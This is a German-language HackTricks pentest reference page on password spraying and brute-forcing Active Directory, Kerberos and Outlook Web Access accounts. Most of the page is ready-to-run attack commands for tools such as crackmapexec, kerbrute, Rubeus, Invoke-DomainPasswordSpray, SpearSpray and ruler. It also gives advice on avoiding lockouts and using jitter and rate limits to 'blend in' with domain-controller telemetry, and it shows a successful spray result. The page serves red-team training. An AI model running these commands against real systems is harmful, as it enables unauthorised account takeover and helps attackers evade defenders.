Password Spraying / Brute Force

Reading time: 8 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Password Spraying

Sobald du mehrere gültige Benutzernamen gefunden hast, kannst du bei jedem der entdeckten Benutzer die häufigsten Passwörter ausprobieren (beachte die Passwortrichtlinie der Umgebung).
Standardmäßig ist die minimale Passwortlänge 7.

Listen mit häufigen Benutzernamen können ebenfalls nützlich sein: https://github.com/insidetrust/statistically-likely-usernames

Beachte, dass du einige Konten sperren könntest, wenn du mehrere falsche Passwörter ausprobierst (standardmäßig mehr als 10).

Passwortrichtlinie abrufen

Wenn du über Benutzeranmeldeinformationen oder eine Shell als Domain-Benutzer verfügst, kannst du die Passwortrichtlinie wie folgt abrufen:

bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10;
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploitation von Linux (oder allgemein)

  • Mit crackmapexec:
bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (du kannst die Anzahl der Versuche angeben, um Sperren zu vermeiden):
bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Verwendung von kerbrute (python) - NICHT EMPFOHLEN; FUNKTIONIERT MANCHMAL NICHT
bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Mit dem Modul scanner/smb/smb_login von Metasploit:

  • Mit rpcclient:
bash
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Von Windows

  • Mit Rubeus Version mit brute module:
bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Mit Invoke-DomainPasswordSpray (Es kann standardmäßig Benutzer aus der Domain generieren und ermittelt die Kennwortrichtlinie aus der Domain und begrenzt die Anzahl der Versuche entsprechend):
bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Brute Force

bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org

Kerberos pre-auth–basiertes Spraying mit LDAP-Targeting und PSO-bewusster Drosselung (SpearSpray)

Kerberos pre-auth–basiertes Spraying reduziert das Rauschen im Vergleich zu SMB/NTLM/LDAP bind-Versuchen und passt besser zu AD-Sperrungsrichtlinien. SpearSpray kombiniert LDAP-gesteuertes Targeting, eine Pattern-Engine und Richtlinienbewusstsein (Domänenrichtlinie + PSOs + badPwdCount-Puffer), um gezielt und sicher zu sprühen. Es kann außerdem kompromittierte principals in Neo4j markieren, um BloodHound-Pfade zu ermöglichen.

Kernideen:

  • LDAP-Benutzererkennung mit Paging und LDAPS-Unterstützung, optional mit benutzerdefinierten LDAP-Filtern.
  • Domänen-Sperrungsrichtlinie + PSO-berücksichtigende Filterung, um einen konfigurierbaren Versuchspuffer (Schwelle) zu belassen und das Sperren von Benutzern zu vermeiden.
  • Kerberos pre-auth Validierung unter Verwendung schneller gssapi-Bindings (erzeugt 4768/4771 auf DCs statt 4625).
  • Musterbasierte, pro-Benutzer Passwortgenerierung unter Verwendung von Variablen wie Namen und zeitlichen Werten, abgeleitet aus dem pwdLastSet jedes Benutzers.
  • Durchsatzkontrolle mit Threads, Jitter und maximalen Anfragen pro Sekunde.
  • Optionale Neo4j-Integration zum Markieren übernommener Benutzer für BloodHound.

Grundlegende Nutzung und Erkennung:

bash
# List available pattern variables
spearspray -l

# Basic run (LDAP bind over TCP/389)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local

# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl

Zielauswahl und Musterkontrolle:

bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
-q "(&(objectCategory=person)(objectClass=user)(department=IT))"

# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME

Stealth und Sicherheitskontrollen:

bash
# Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10

# Leave N attempts in reserve before lockout (default threshold: 2)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2

Neo4j/BloodHound-Anreicherung:

bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687

Übersicht des Pattern-Systems (patterns.txt):

text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
{month_en}{separator}{short_year}{suffix}
{season_en}{separator}{year}{suffix}
{samaccountname}
{extra}{separator}{year}{suffix}

Available variables include:

  • {name}, {samaccountname}
  • Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
  • Composition helpers and org token: {separator}, {suffix}, {extra}

Operational notes:

  • Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
  • badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
  • Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.

Tipp: Die Standard-LDAP-Seitengröße von SpearSpray ist 200; passe bei Bedarf mit -lps an.

Outlook Web Access

Es gibt mehrere Tools für password spraying outlook.

Um eines dieser Tools zu verwenden, benötigst du eine Benutzerliste und ein Passwort bzw. eine kleine Liste von Passwörtern zum Sprayen.

bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020
[x] Failed: cube0x0:Summer2020
[x] Failed: a.admin:Summer2020
[x] Failed: c.cube:Summer2020
[+] Success: s.svensson:Summer2020

Google

Okta

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks